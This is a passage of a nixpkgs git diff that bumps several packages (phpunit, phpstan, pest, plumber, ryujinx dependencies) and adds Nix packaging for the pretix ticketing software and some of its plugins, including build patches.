                 "url": "https://github.com/sebastianbergmann/phpunit.git",
-                "reference": "41a9886b85ac7bf3929853baf96b95361cd69d2b"
+                "reference": "20a63fc1c6db29b15da3bd02d4b6cf59900088a7"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/41a9886b85ac7bf3929853baf96b95361cd69d2b",
-                "reference": "41a9886b85ac7bf3929853baf96b95361cd69d2b",
+                "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/20a63fc1c6db29b15da3bd02d4b6cf59900088a7",
+                "reference": "20a63fc1c6db29b15da3bd02d4b6cf59900088a7",
                 "shasum": ""
             },
             "require": {
@@ -1518,7 +1518,7 @@
             "support": {
                 "issues": "https://github.com/sebastianbergmann/phpunit/issues",
                 "security": "https://github.com/sebastianbergmann/phpunit/security/policy",
-                "source": "https://github.com/sebastianbergmann/phpunit/tree/10.5.12"
+                "source": "https://github.com/sebastianbergmann/phpunit/tree/10.5.13"
             },
             "funding": [
                 {
@@ -1534,7 +1534,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-03-09T12:04:07+00:00"
+            "time": "2024-03-12T15:37:41+00:00"
         },
         {
             "name": "psr/container",
@@ -3787,16 +3787,16 @@
         },
         {
             "name": "phpstan/phpstan",
-            "version": "1.10.60",
+            "version": "1.10.62",
             "source": {
                 "type": "git",
                 "url": "https://github.com/phpstan/phpstan.git",
-                "reference": "95dcea7d6c628a3f2f56d091d8a0219485a86bbe"
+                "reference": "cd5c8a1660ed3540b211407c77abf4af193a6af9"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/phpstan/phpstan/zipball/95dcea7d6c628a3f2f56d091d8a0219485a86bbe",
-                "reference": "95dcea7d6c628a3f2f56d091d8a0219485a86bbe",
+                "url": "https://api.github.com/repos/phpstan/phpstan/zipball/cd5c8a1660ed3540b211407c77abf4af193a6af9",
+                "reference": "cd5c8a1660ed3540b211407c77abf4af193a6af9",
                 "shasum": ""
             },
             "require": {
@@ -3845,7 +3845,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-03-07T13:30:19+00:00"
+            "time": "2024-03-13T12:27:20+00:00"
         },
         {
             "name": "phpstan/phpstan-strict-rules",
@@ -4220,29 +4220,22 @@
         },
         {
             "name": "tomasvotruba/type-coverage",
-            "version": "0.2.3",
+            "version": "0.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/TomasVotruba/type-coverage.git",
-                "reference": "213ef9cfcdcb1472c5e1a1d7c3c99d39347433f7"
+                "reference": "47f75151c3b3c4e040e0c68d9bba47597bf5ad6f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/TomasVotruba/type-coverage/zipball/213ef9cfcdcb1472c5e1a1d7c3c99d39347433f7",
-                "reference": "213ef9cfcdcb1472c5e1a1d7c3c99d39347433f7",
+                "url": "https://api.github.com/repos/TomasVotruba/type-coverage/zipball/47f75151c3b3c4e040e0c68d9bba47597bf5ad6f",
+                "reference": "47f75151c3b3c4e040e0c68d9bba47597bf5ad6f",
                 "shasum": ""
             },
             "require": {
-                "php": "^8.2",
-                "phpstan/phpstan": "^1.10.60"
-            },
-            "require-dev": {
-                "phpstan/extension-installer": "^1.3",
-                "phpunit/phpunit": "^10.5",
-                "rector/rector": "^1.0.2",
-                "symplify/easy-coding-standard": "^12.1",
-                "tomasvotruba/unused-public": "^0.2",
-                "tracy/tracy": "^2.10"
+                "nette/utils": "^3.2 || ^4.0",
+                "php": "^7.2 || ^8.0",
+                "phpstan/phpstan": "^1.9.3"
             },
             "type": "phpstan-extension",
             "extra": {
@@ -4268,7 +4261,7 @@
             ],
             "support": {
                 "issues": "https://github.com/TomasVotruba/type-coverage/issues",
-                "source": "https://github.com/TomasVotruba/type-coverage/tree/0.2.3"
+                "source": "https://github.com/TomasVotruba/type-coverage/tree/0.2.4"
             },
             "funding": [
                 {
@@ -4280,7 +4273,7 @@
                     "type": "github"
                 }
             ],
-            "time": "2024-03-08T18:25:10+00:00"
+            "time": "2024-03-15T11:34:50+00:00"
         }
     ],
     "aliases": [],
diff --git a/pkgs/by-name/pe/pest/package.nix b/pkgs/by-name/pe/pest/package.nix
index 8beb00b2cf71..652245af56a8 100644
--- a/pkgs/by-name/pe/pest/package.nix
+++ b/pkgs/by-name/pe/pest/package.nix
@@ -2,17 +2,18 @@
 
 php.buildComposerProject (finalAttrs: {
   pname = "pest";
-  version = "2.34.2";
+  version = "2.34.4";
 
   src = fetchFromGitHub {
     owner = "pestphp";
     repo = "pest";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-tVNF2oC/fLnX10ER9qmWJxMQ/RU9UUQtEi7b1xe094o=";
+    hash = "sha256-/Ygm/jb08t+0EG4KHM2utAavka28VzmjVU/uXODMFvI=";
   };
 
   composerLock = ./composer.lock;
-  vendorHash = "sha256-bFwIRcCqeWcsFsD6wFD+XNe3IMGE3hMg7AU7XaqwtT4=";
+
+  vendorHash = "sha256-RDTmNfXD8Lk50i7dY09JNUgg8hcEM0dtwJnh8UpHgQ4=";
 
   meta = {
     changelog = "https://github.com/pestphp/pest/releases/tag/v${finalAttrs.version}";
diff --git a/pkgs/by-name/pl/plumber/package.nix b/pkgs/by-name/pl/plumber/package.nix
index 4c1f02149712..77678a2f5229 100644
--- a/pkgs/by-name/pl/plumber/package.nix
+++ b/pkgs/by-name/pl/plumber/package.nix
@@ -2,13 +2,13 @@
 
 buildGoModule rec {
   pname = "plumber";
-  version = "2.5.4";
+  version = "2.6.0";
 
   src = fetchFromGitHub {
     owner = "streamdal";
     repo = pname;
     rev = "v${version}";
-    hash = "sha256-6nPH+HQtpFJ4MAtblFWjaQjDSKtpIxW9tGt2o1ICtos=";
+    hash = "sha256-H1tyMedYKj1bePNcaEWYP3njHw57cJ0jgxwC7zDXQvk=";
   };
 
   vendorHash = null;
diff --git a/pkgs/by-name/pr/pretix/package.nix b/pkgs/by-name/pr/pretix/package.nix
new file mode 100644
index 000000000000..952da297900f
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/package.nix
@@ -0,0 +1,264 @@
+{ lib
+, buildNpmPackage
+, fetchFromGitHub
+, fetchPypi
+, fetchpatch2
+, nodejs
+, python3
+, gettext
+, nixosTests
+, plugins ? [ ]
+}:
+
+let
+  python = python3.override {
+    packageOverrides = self: super: {
+      django = super.django_4;
+
+      stripe = super.stripe.overridePythonAttrs rec {
+        version = "7.9.0";
+
+        src = fetchPypi {
+          pname = "stripe";
+          inherit version;
+          hash = "sha256-hOXkMINaSwzU/SpXzjhTJp0ds0OREc2mtu11LjSc9KE=";
+        };
+      };
+
+      pretix-plugin-build = self.callPackage ./plugin-build.nix { };
+    };
+  };
+
+  pname = "pretix";
+  version = "2024.2.0";
+
+  src = fetchFromGitHub {
+    owner = "pretix";
+    repo = "pretix";
+    rev = "refs/tags/v${version}";
+    hash = "sha256-emtF5dDXEXN8GIucHbjF+m9Vkg1Jj6nmQdHhBOkXMAs=";
+  };
+
+  npmDeps = buildNpmPackage {
+    pname = "pretix-node-modules";
+    inherit version src;
+
+    sourceRoot = "${src.name}/src/pretix/static/npm_dir";
+    npmDepsHash = "sha256-kE13dcTdWZZNHPMcHEiK0a2dEcu3Z3/q815YhaVkLbQ=";
+
+    dontBuild = true;
+
+    installPhase = ''
+      runHook preInstall
+
+      mkdir $out
+      cp -R node_modules $out/
+
+      runHook postInstall
+    '';
+  };
+in
+python.pkgs.buildPythonApplication rec {
+  inherit pname version src;
+  pyproject = true;
+
+  patches = [
+    # Discover pretix.plugin entrypoints during build and add them into
+    # INSTALLED_APPS, so that their static files are collected.
+    ./plugin-build.patch
+
+    (fetchpatch2 {
+      # Allow customization of cache and log directory
+      # https://github.com/pretix/pretix/pull/3997
+      name = "pretix-directory-customization.patch";
+      url = "https://github.com/pretix/pretix/commit/e151d1d1f08917e547df49da0779b36bb73b7294.patch";
+      hash = "sha256-lO5eCKSqUaCwSm7rouMTFMwauWl9Tz/Yf0JE/IO+bnI=";
+    })
+  ];
+
+  postPatch = ''
+    NODE_PREFIX=src/pretix/static.dist/node_prefix
+    mkdir -p $NODE_PREFIX
+    cp -R ${npmDeps}/node_modules $NODE_PREFIX/
+    chmod -R u+w $NODE_PREFIX/
+
+    # unused
+    sed -i "/setuptools-rust/d" pyproject.toml
+
+    substituteInPlace pyproject.toml \
+      --replace-fail phonenumberslite phonenumbers \
+      --replace-fail psycopg2-binary psycopg2 \
+      --replace-fail vat_moss_forked==2020.3.20.0.11.0 vat-moss \
+      --replace-fail "bleach==5.0.*" bleach \
+      --replace-fail "dnspython==2.5.*" dnspython \
+      --replace-fail "importlib_metadata==7.*" importlib_metadata \
+      --replace-fail "protobuf==4.25.*" protobuf \
+      --replace-fail "pycryptodome==3.20.*" pycryptodome \
+      --replace-fail "pypdf==3.9.*" pypdf \
+      --replace-fail "python-dateutil==2.8.*" python-dateutil \
+      --replace-fail "sentry-sdk==1.40.*" sentry-sdk \
+      --replace-fail "stripe==7.9.*" stripe
+  '';
+
+  build-system = with python.pkgs; [
+    gettext
+    nodejs
+    pythonRelaxDepsHook
+    setuptools
+    tomli
+  ];
+
+  dependencies = with python.pkgs; [
+    arabic-reshaper
+    babel
+    beautifulsoup4
+    bleach
+    celery
+    chardet
+    cryptography
+    css-inline
+    defusedcsv
+    dj-static
+    django
+    django-bootstrap3
+    django-compressor
+    django-countries
+    django-filter
+    django-formset-js-improved
+    django-formtools
+    django-hierarkey
+    django-hijack
+    django-i18nfield
+    django-libsass
+    django-localflavor
+    django-markup
+    django-oauth-toolkit
+    django-otp
+    django-phonenumber-field
+    django-redis
+    django-scopes
+    django-statici18n
+    djangorestframework
+    dnspython
+    drf-ujson2
+    geoip2
+    importlib-metadata
+    isoweek
+    jsonschema
+    kombu
+    libsass
+    lxml
+    markdown
+    mt-940
+    oauthlib
+    openpyxl
+    packaging
+    paypalrestsdk
+    paypal-checkout-serversdk
+    pyjwt
+    phonenumbers
+    pillow
+    pretix-plugin-build
+    protobuf
+    psycopg2
+    pycountry
+    pycparser
+    pycryptodome
+    pypdf
+    python-bidi
+    python-dateutil
+    pytz
+    pytz-deprecation-shim
+    pyuca
+    qrcode
+    redis
+    reportlab
+    requests
+    sentry-sdk
+    sepaxml
+    slimit
+    static3
+    stripe
+    text-unidecode
+    tlds
+    tqdm
+    vat-moss
+    vobject
+    webauthn
+    zeep
+  ] ++ plugins;
+
+  optional-dependencies = with python.pkgs; {
+    memcached = [
+      pylibmc
+    ];
+  };
+
+  postInstall = ''
+    mkdir -p $out/bin
+    cp ./src/manage.py $out/bin/pretix-manage
+
+    # Trim packages size
+    rm -rfv $out/${python.sitePackages}/pretix/static.dist/node_prefix
+  '';
+
+  dontStrip = true; # no binaries
+
+  nativeCheckInputs = with python.pkgs; [
+    pytestCheckHook
+    pytest-xdist
+    pytest-mock
+    pytest-django
+    pytest-asyncio
+    pytest-rerunfailures
+    freezegun
+    fakeredis
+    responses
+  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+
+  pytestFlagsArray = [
+    "--reruns" "3"
+
+    # tests fail when run before 4:30am
+    # https://github.com/pretix/pretix/pull/3987
+    "--deselect=src/tests/base/test_orders.py::PaymentReminderTests::test_sent_days"
+    "--deselect=src/tests/plugins/sendmail/test_rules.py::test_sendmail_rule_specified_subevent"
+  ];
+
+  preCheck = ''
+    export PYTHONPATH=$(pwd)/src:$PYTHONPATH
+    export DJANGO_SETTINGS_MODULE=tests.settings
+  '';
+
+  passthru = {
+    inherit
+      npmDeps
+      python
+    ;
+    plugins = lib.recurseIntoAttrs
+      (python.pkgs.callPackage ./plugins {
+        inherit (python.pkgs) callPackage;
+      }
+    );
+    tests = {
+      inherit (nixosTests) pretix;
+    };
+  };
+
+  meta = with lib; {
+    description = "Ticketing software that cares about your event—all the way";
+    homepage = "https://github.com/pretix/pretix";
+    license = with licenses; [
+      agpl3Only
+      # 3rd party components below src/pretix/static
+      bsd2
+      isc
+      mit
+      ofl # fontawesome
+      unlicense
+      # all other files below src/pretix/static and src/pretix/locale and aux scripts
+      asl20
+    ];
+    maintainers = with maintainers; [ hexa ];
+  };
+}
diff --git a/pkgs/by-name/pr/pretix/plugin-build.nix b/pkgs/by-name/pr/pretix/plugin-build.nix
new file mode 100644
index 000000000000..307ff4114eb7
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/plugin-build.nix
@@ -0,0 +1,37 @@
+{
+  lib,
+  buildPythonPackage,
+  fetchPypi,
+  setuptools,
+  django,
+  gettext,
+}:
+
+buildPythonPackage rec {
+  pname = "pretix-plugin-build";
+  version = "1.0.1";
+  pyproject = true;
+
+  src = fetchPypi {
+    inherit pname version;
+    hash = "sha256-iLbqcCAbeK4PyLXiebpdE27rt6bOP7eXczIG2bdvvYo=";
+  };
+
+  build-system = [
+    setuptools
+  ];
+
+  dependencies = [
+    django
+    gettext
+  ];
+
+  doCheck = false; # no tests
+
+  meta = with lib; {
+    description = "";
+    homepage = "https://github.com/pretix/pretix-plugin-build";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ hexa ];
+  };
+}
diff --git a/pkgs/by-name/pr/pretix/plugin-build.patch b/pkgs/by-name/pr/pretix/plugin-build.patch
new file mode 100644
index 000000000000..aa935ed28148
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/plugin-build.patch
@@ -0,0 +1,20 @@
+diff --git a/src/pretix/_build_settings.py b/src/pretix/_build_settings.py
+index c03f56a1a..d1ea73b84 100644
+--- a/src/pretix/_build_settings.py
++++ b/src/pretix/_build_settings.py
+@@ -24,6 +24,8 @@
+ This file contains settings that we need at wheel require time. All settings that we only need at runtime are set
+ in settings.py.
+ """
++from importlib_metadata import entry_points
++
+ from ._base_settings import *  # NOQA
+ 
+ ENTROPY = {
+@@ -47,3 +49,6 @@ HAS_MEMCACHED = False
+ HAS_CELERY = False
+ HAS_GEOIP = False
+ SENTRY_ENABLED = False
++
++for entry_point in entry_points(group='pretix.plugin'):
++    INSTALLED_APPS.append(entry_point.module) # noqa: F405
diff --git a/pkgs/by-name/pr/pretix/plugins/default.nix b/pkgs/by-name/pr/pretix/plugins/default.nix
new file mode 100644
index 000000000000..70e643705c00
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/plugins/default.nix
@@ -0,0 +1,13 @@
+{ callPackage
+, ...
+}:
+
+{
+  pages = callPackage ./pages.nix { };
+
+  passbook = callPackage ./passbook.nix { };
+
+  reluctant-stripe = callPackage ./reluctant-stripe.nix { };
+
+  stretchgoals = callPackage ./stretchgoals.nix { };
+}
diff --git a/pkgs/by-name/pr/pretix/plugins/pages.nix b/pkgs/by-name/pr/pretix/plugins/pages.nix
new file mode 100644
index 000000000000..91f8ef032f77
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/plugins/pages.nix
@@ -0,0 +1,37 @@
+{ lib
+, buildPythonPackage
+, fetchFromGitHub
+, pretix-plugin-build
+, setuptools
+}:
+
+buildPythonPackage rec {
+  pname = "pretix-pages";
+  version = "1.6.0";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "pretix";
+    repo = "pretix-pages";
+    rev = "v${version}";
+    hash = "sha256-cO5tAiOifLpqFEQwYgrGoByUecpzvue8YmChpPwm+y0=";
+  };
+
+  build-system = [
+    pretix-plugin-build
+    setuptools
+  ];
+
+  doCheck = false; # no tests
+
+  pythonImportsCheck = [
+    "pretix_pages"
+  ];
+
+  meta = with lib; {
+    description = "Plugin to add static pages to your pretix event";
+    homepage = "https://github.com/pretix/pretix-pages";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ hexa ];
+  };
+}
diff --git a/pkgs/by-name/pr/pretix/plugins/passbook-openssl.patch b/pkgs/by-name/pr/pretix/plugins/passbook-openssl.patch
new file mode 100644
index 000000000000..44c0d56886af
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/plugins/passbook-openssl.patch
@@ -0,0 +1,33 @@
+diff --git a/pretix_passbook/apps.py b/pretix_passbook/apps.py
+index e34eee1..a7ad382 100644
+--- a/pretix_passbook/apps.py
++++ b/pretix_passbook/apps.py
+@@ -22,15 +22,6 @@ class PassbookApp(AppConfig):
+     def ready(self):
+         from . import signals  # NOQA
+ 
+-    @cached_property
+-    def compatibility_errors(self):
+-        import shutil
+-
+-        errs = []
+-        if not shutil.which("openssl"):
+-            errs.append("The OpenSSL binary is not installed or not in the PATH.")
+-        return errs
+-
+     @cached_property
+     def compatibility_warnings(self):
+         errs = []
+diff --git a/pretix_passbook/forms.py b/pretix_passbook/forms.py
+index 2a38604..aec38de 100644
+--- a/pretix_passbook/forms.py
++++ b/pretix_passbook/forms.py
+@@ -41,7 +41,7 @@ class CertificateFileField(forms.FileField):
+                 return SimpleUploadedFile("cert.pem", content, "text/plain")
+ 
+             openssl_cmd = [
+-                "openssl",
++                "@openssl@",
+                 "x509",
+                 "-inform",
+                 "DER",
diff --git a/pkgs/by-name/pr/pretix/plugins/passbook.nix b/pkgs/by-name/pr/pretix/plugins/passbook.nix
new file mode 100644
index 000000000000..b7d380aa681d
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/plugins/passbook.nix
@@ -0,0 +1,59 @@
+{ lib
+, buildPythonPackage
+, fetchFromGitHub
+, substituteAll
+
+# build-system
+, pretix-plugin-build
+, setuptools
+
+# runtime
+, openssl
+
+# dependencies
+, googlemaps
+, wallet-py3k
+}:
+
+buildPythonPackage rec {
+  pname = "pretix-passbook";
+  version = "1.13.1";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "pretix";
+    repo = "pretix-passbook";
+    rev = "v${version}";
+    hash = "sha256-bp64wCEMon05JhOaDr/cVbqUxc+7ndcsSuSesxJt8GE=";
+  };
+
+  patches = [
+    (substituteAll {
+      src = ./passbook-openssl.patch;
+      openssl = lib.getExe openssl;
+    })
+  ];
+
+  build-system = [
+    pretix-plugin-build
+    setuptools
+  ];
+
+  dependencies = [
+    googlemaps
+    wallet-py3k
+  ];
+
+  doCheck = false; # no tests
+
+  pythonImportsCheck = [
+    "pretix_passbook"
+  ];
+
+  meta = with lib; {
+    description = "Support for Apple Wallet/Passbook files in pretix";
+    homepage = "https://github.com/pretix/pretix-passbook";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ hexa ];
+  };
+}
diff --git a/pkgs/by-name/pr/pretix/plugins/reluctant-stripe.nix b/pkgs/by-name/pr/pretix/plugins/reluctant-stripe.nix
new file mode 100644
index 000000000000..40ab96a36bca
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/plugins/reluctant-stripe.nix
@@ -0,0 +1,37 @@
+{ lib
+, buildPythonPackage
+, fetchFromGitHub
+, pretix-plugin-build
+, setuptools
+}:
+
+buildPythonPackage {
+  pname = "pretix-reluctant-stripe";
+  version = "unstable-2023-08-03";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "metarheinmain";
+    repo = "pretix-reluctant-stripe";
+    rev = "ae2d770442553e5fc00815ff4521a8fd2c113fd9";
+    hash = "sha256-bw9aDMxl4/uar5KHjj+wwkYkaGMRxHWY/c1N75bxu0o=";
+  };
+
+  build-system = [
+    pretix-plugin-build
+    setuptools
+  ];
+
+  doCheck = false; # no tests
+
+  pythonImportsCheck = [
+    "pretix_reluctant_stripe"
+  ];
+
+  meta = with lib; {
+    description = "Nudge users to not use Stripe as a payment provider";
+    homepage = "https://github.com/metarheinmain/pretix-reluctant-stripe";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ hexa ];
+  };
+}
diff --git a/pkgs/by-name/pr/pretix/plugins/stretchgoals.nix b/pkgs/by-name/pr/pretix/plugins/stretchgoals.nix
new file mode 100644
index 000000000000..4d1cb8d02e84
--- /dev/null
+++ b/pkgs/by-name/pr/pretix/plugins/stretchgoals.nix
@@ -0,0 +1,37 @@
+{ lib
+, buildPythonPackage
+, fetchFromGitHub
+, pretix-plugin-build
+, setuptools
+}:
+
+buildPythonPackage {
+  pname = "pretix-avgchart";
+  version = "unstable-2023-11-27";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "rixx";
+    repo = "pretix-avgchart";
+    rev = "219816c7ec523a5c23778523b2616ac0c835cb3a";
+    hash = "sha256-1V/0PUvStgQeBQ0v6GoofAgyPmWs3RD+v5ekmAO9vFU=";
+  };
+
+  build-system = [
+    pretix-plugin-build
+    setuptools
+  ];
+
+  doCheck = false; # no tests
+
+  pythonImportsCheck = [
+    "pretix_stretchgoals"
+  ];
+
+  meta = with lib; {
+    description = "Display the average ticket sales price over time";
+    homepage = "https://github.com/rixx/pretix-avgchart";
+    license = licenses.asl20;
+    maintainers = with maintainers; [ hexa ];
+  };
+}
diff --git a/pkgs/by-name/re/renode-dts2repl/package.nix b/pkgs/by-name/re/renode-dts2repl/package.nix
index b6af65fa0b38..24736a889e51 100644
--- a/pkgs/by-name/re/renode-dts2repl/package.nix
+++ b/pkgs/by-name/re/renode-dts2repl/package.nix
@@ -6,14 +6,14 @@
 
 python3.pkgs.buildPythonApplication {
   pname = "renode-dts2repl";
-  version = "unstable-2024-02-29";
+  version = "unstable-2024-03-12";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "antmicro";
     repo = "dts2repl";
-    rev = "a53f2f01039a462bdd7322d1fb315edd95033b6d";
-    hash = "sha256-DsHNS9pZu3ZWM3teG3pUi0EM+8znmCPTSGuzGmJ4IgU=";
+    rev = "eff98d616e3541e54ca783c84f598c9e348a76a8";
+    hash = "sha256-qNHj5WOSca04ceGeRNa60M6cH9/rRHLEF1YX75yYDO8=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ry/ryujinx/deps.nix b/pkgs/by-name/ry/ryujinx/deps.nix
index dcbc0159f249..78c636a21534 100644
--- a/pkgs/by-name/ry/ryujinx/deps.nix
+++ b/pkgs/by-name/ry/ryujinx/deps.nix
@@ -2,28 +2,28 @@
 # Please dont edit it manually, your changes might get overwritten!
 
 { fetchNuGet }: [
-  (fetchNuGet { pname = "Avalonia"; version = "11.0.7"; sha256 = "1rh7c4ia0n7v8kd5kspj15sh49hc5gy3fcnm7nb2xsarv9gvmwcg"; })
+  (fetchNuGet { pname = "Avalonia"; version = "11.0.10"; sha256 = "0mvsc6fg8qbvdqkdkia61jkprb3yhvvgvq6s8hgd09v6lzjsbq8n"; })
   (fetchNuGet { pname = "Avalonia.Angle.Windows.Natives"; version = "2.1.0.2023020321"; sha256 = "1az4s1g22ipak9a3xfh55z2h3rm6lpqh7svbpw6ag4ysrgsjjsjd"; })
   (fetchNuGet { pname = "Avalonia.BuildServices"; version = "0.0.29"; sha256 = "05mm7f0jssih3gbzqfgjnfq5cnqa85ihsg0z1897ciihv8qd3waq"; })
+  (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.10"; sha256 = "0s2wn7sf0dsa861gh6ghfgf881p6bvyahfpl583rcnsi6ci2hjhv"; })
   (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.4"; sha256 = "1sqdcaknqazq4mw2x1jb6pfmfnyhpkd4xh6fl4ld85qikzzj7796"; })
-  (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.7"; sha256 = "1386lhzkc5mal70imw3vxfkbz7z94njylg662ymr2m3hhwz34w3l"; })
-  (fetchNuGet { pname = "Avalonia.Controls.DataGrid"; version = "11.0.7"; sha256 = "080w1k4mia6kkl9lw5hl03n75xrkd2rlh5901jrpk11jyy36w00s"; })
+  (fetchNuGet { pname = "Avalonia.Controls.DataGrid"; version = "11.0.10"; sha256 = "13g5sac0ba8dy1pn21j2g4fin57x1vs1pl07gzgv53bl8nz1xznj"; })
   (fetchNuGet { pname = "Avalonia.Controls.ItemsRepeater"; version = "11.0.4"; sha256 = "1p7mz33a6dn6ghvwajxdghq15mn5f6isvvqzxcjbnhh3m5c1zhrz"; })
-  (fetchNuGet { pname = "Avalonia.Desktop"; version = "11.0.7"; sha256 = "0z5jypzqxh83r1pzvl1k7x1wxhnr3f0knp4wr0fkcgj97k2bnjy1"; })
-  (fetchNuGet { pname = "Avalonia.Diagnostics"; version = "11.0.7"; sha256 = "1n9bdmbc9m0r7x7iqkin4b8c6pdf19lbsvl258ncymhln6j8y0xw"; })
-  (fetchNuGet { pname = "Avalonia.FreeDesktop"; version = "11.0.7"; sha256 = "0xd3gmgh2rd1krd1q7yh3vrqggxap23fgfph2vfkfg3cxgyyfcml"; })
-  (fetchNuGet { pname = "Avalonia.Markup.Xaml.Loader"; version = "11.0.7"; sha256 = "1k5zfwhjkqbk2jb2h5gbvf85q3shz411hgf5xa80yi5wxw1d2nr6"; })
-  (fetchNuGet { pname = "Avalonia.Native"; version = "11.0.7"; sha256 = "164zyd1aaa42xryci82km2fznzmjag9s1f3i8yjyg2ip5agkh289"; })
+  (fetchNuGet { pname = "Avalonia.Desktop"; version = "11.0.10"; sha256 = "0s27ajknbrymnchv66rybrs3snzh825iy0nqby72yk726znp52vw"; })
+  (fetchNuGet { pname = "Avalonia.Diagnostics"; version = "11.0.10"; sha256 = "1c7hv9ypvn1ncg6cmzn2cs0nkax0y0pnbx1h1asjzn8rnbwcvnca"; })
+  (fetchNuGet { pname = "Avalonia.FreeDesktop"; version = "11.0.10"; sha256 = "18f9vpsxfaak4qpqvcz9rdygx3k8dhzb64iqlhva88nhahwlwlxr"; })
+  (fetchNuGet { pname = "Avalonia.Markup.Xaml.Loader"; version = "11.0.10"; sha256 = "0vlvysxi2qdg3na604jivzs68ldry1i43lmxxa3lhh7q9pqqpzjy"; })
+  (fetchNuGet { pname = "Avalonia.Native"; version = "11.0.10"; sha256 = "06pihfddbvdw1s3rs6v183ljch1bsxym80fclfqrh3npa3ag9n1z"; })
+  (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.10"; sha256 = "0p75z6k4ivzhdn9y9gwqsqmja7x03d4mxaicbccjbnz06irybnxa"; })
   (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.4"; sha256 = "096436hhg45v02pp4f43mf00xn6blx7x66sb8fq5j4jn7479fynp"; })
-  (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.7"; sha256 = "0a5a1wz9ka1r7ch0c2b5nvnsgm49kdhlj16rvrvhdz30qf9m671n"; })
   (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.0"; sha256 = "1ra1kd0kkblppr5zy7rzdbwllggrzvp9lkxblf9mg3y8rnp6fk83"; })
+  (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.10"; sha256 = "0w45j4ypqnwmsh3byzaghn43ycfkfnn8415i5lw2q5ip7vp3a9fm"; })
   (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.4"; sha256 = "1ysmq4f8bxabpq3nhcrrvgwvxb9z7gx9565bvdyksdhsq16wyxym"; })
-  (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.7"; sha256 = "1v3g13a447k5dmd0n26aibjwxawx3vqn8g2jmwpw533rx1f509h5"; })
-  (fetchNuGet { pname = "Avalonia.Svg"; version = "11.0.0.13"; sha256 = "1cf2y8bhb5xcpkrzbkfw1lr8iwz99p0lv34sh51xd9inx0rnvm4g"; })
-  (fetchNuGet { pname = "Avalonia.Svg.Skia"; version = "11.0.0.13"; sha256 = "0hbc1m5lv8l9fflz8z46f9pwrrd4hisn8qp38944388r9ay0v4ip"; })
-  (fetchNuGet { pname = "Avalonia.Themes.Simple"; version = "11.0.7"; sha256 = "0ggrsir3zskg22as65f3i93f4dmhqm5lqq0irb1rqi8dfficsmzx"; })
-  (fetchNuGet { pname = "Avalonia.Win32"; version = "11.0.7"; sha256 = "0zbh1cd8zykc5rrannz6i9pyiiygm041db3nrpzyi43xsknnhl7r"; })
-  (fetchNuGet { pname = "Avalonia.X11"; version = "11.0.7"; sha256 = "03skfjxw2xpynl8j2gjpb4v1v642qw1qnx9lcq9whgmlj03yz9nc"; })
+  (fetchNuGet { pname = "Avalonia.Svg"; version = "11.0.0.14"; sha256 = "0111svcswbw97k3igqi45dzz08f6vi20zr5gp23p8qmisk2bazqj"; })
+  (fetchNuGet { pname = "Avalonia.Svg.Skia"; version = "11.0.0.14"; sha256 = "0b95h42kflbjlfw0ky58cxd0745wf7ad9phfgdyn3w7x3bjfn0x3"; })
+  (fetchNuGet { pname = "Avalonia.Themes.Simple"; version = "11.0.10"; sha256 = "0vssdz6rng0k85qsv2xn6x0dldaalnnx718n7plwxg3j1pddr1z7"; })
+  (fetchNuGet { pname = "Avalonia.Win32"; version = "11.0.10"; sha256 = "1gh3fad9ya56qwzhk7590bdzkky76yx1jjj60rqr013b97qbd3gs"; })
+  (fetchNuGet { pname = "Avalonia.X11"; version = "11.0.10"; sha256 = "1x09mp8q3mrj5fijqk7qp5qivrysqnbc2bkj2ssvawb9rjy6497w"; })
   (fetchNuGet { pname = "CommandLineParser"; version = "2.9.1"; sha256 = "1sldkj8lakggn4hnyabjj1fppqh50fkdrr1k99d4gswpbk5kv582"; })
   (fetchNuGet { pname = "Concentus"; version = "1.1.7"; sha256 = "0y5z444wrbhlmsqpy2sxmajl1fbf74843lvgj3y6vz260dn2q0l0"; })
   (fetchNuGet { pname = "DiscordRichPresence"; version = "1.2.1.24"; sha256 = "0maw0yd6xgwy0cgk593z3zva0r5j267zpdmmpq8avj3zbna6n4x1"; })
@@ -75,7 +75,6 @@
   (fetchNuGet { pname = "Microsoft.TestPlatform.TestHost"; version = "17.9.0"; sha256 = "19ffh31a1jxzn8j69m1vnk5hyfz3dbxmflq77b8x82zybiilh5nl"; })
   (fetchNuGet { pname = "Microsoft.Win32.Primitives"; version = "4.0.1"; sha256 = "1n8ap0cmljbqskxpf8fjzn7kh1vvlndsa75k01qig26mbw97k2q7"; })
